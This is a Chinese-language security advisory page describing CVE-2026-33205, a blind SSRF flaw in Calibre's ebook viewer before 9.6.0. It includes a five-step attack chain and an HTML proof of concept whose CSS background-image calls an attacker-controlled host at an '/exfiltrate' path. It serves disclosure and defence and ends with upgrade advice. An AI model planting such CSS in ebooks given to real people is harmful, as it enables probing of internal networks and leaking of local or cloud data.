IPBUF安全漏洞报告
English
CVE-2026-33205 CVSS 5.5 中危

CVE-2026-33205 Calibre SSRF漏洞

披露日期: 2026-03-27

漏洞信息

漏洞编号
CVE-2026-33205
漏洞类型
服务器端请求伪造 (SSRF)
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
calibre

相关标签

SSRFCalibre信息泄露CVE-2026-33205

漏洞概述

Calibre电子书阅读器在9.6.0版本之前的Web视图组件中存在服务器端请求伪造(SSRF)漏洞。攻击者可利用background-image端点向任意URL发起盲请求。由于需要用户交互(如打开恶意电子书),攻击者可借此绕过电子书沙箱限制,窃取本地敏感数据。

技术细节

该漏洞的根源在于Calibre电子书阅读器Web视图组件对CSS样式中background-image属性的处理逻辑存在缺陷。在版本9.6.0之前,组件未对background-image指定的URL来源进行严格的沙箱隔离或白名单校验。攻击者可以精心制作一个恶意的电子书文件(如EPUB格式),在其中嵌入特定的CSS代码,将背景图片的URL指向攻击者控制的外部服务器、本地回环地址(127.0.0.1)或内网敏感服务端口。攻击流程通常包括社会工程学步骤,诱导受害者下载并使用Calibre打开该恶意电子书。一旦渲染引擎处理该页面,便会触发对目标URL的盲GET请求。由于Calibre通常运行在用户权限下,攻击者利用此SSRF漏洞可绕过浏览器的同源策略或电子书沙箱限制,探测本地网络拓扑,甚至结合云服务商的元数据服务窃取临时凭证,导致本地敏感信息泄露。

攻击链分析

STEP 1
1. 漏洞利用准备
攻击者构造包含恶意CSS代码的电子书文件,将background-image属性指向内网地址或攻击者控制的服务器地址。
STEP 2
2. 社会工程学投递
攻击者通过邮件、文件共享等方式将恶意电子书发送给目标用户,诱导其下载。
STEP 3
3. 触发漏洞
目标用户使用存在漏洞的Calibre版本(< 9.6.0)打开该电子书,阅读器的Web视图组件解析并渲染页面内容。
STEP 4
4. 执行SSRF请求
Calibre在渲染背景图片时,向攻击者指定的URL发送HTTP GET请求,导致盲SSRF。
STEP 5
5. 信息外带
攻击者的服务器接收到请求,确认漏洞存在,或根据请求内容获取云元数据等敏感信息。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- PoC: Malicious E-Book Content (e.g., inside an EPUB) --> <html> <head> <style> body { /* The vulnerable background-image endpoint in calibre web view */ /* This triggers a GET request to the attacker's server */ background-image: url('http://attacker-controlled-domain.com/exfiltrate?data=calibre_ssrf_test'); background-repeat: no-repeat; } </style> </head> <body> <h1>SSRF PoC</h1> <p>When this book is opened in calibre < 9.6.0, a request is sent.</p> </body> </html>

影响范围

calibre < 9.6.0

防御指南

临时缓解措施
建议用户立即将Calibre升级至9.6.0或更高版本。在未升级前,应避免打开来源不明或不可信的电子书文件,特别是包含复杂CSS样式的EPUB或AZW3格式文件。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表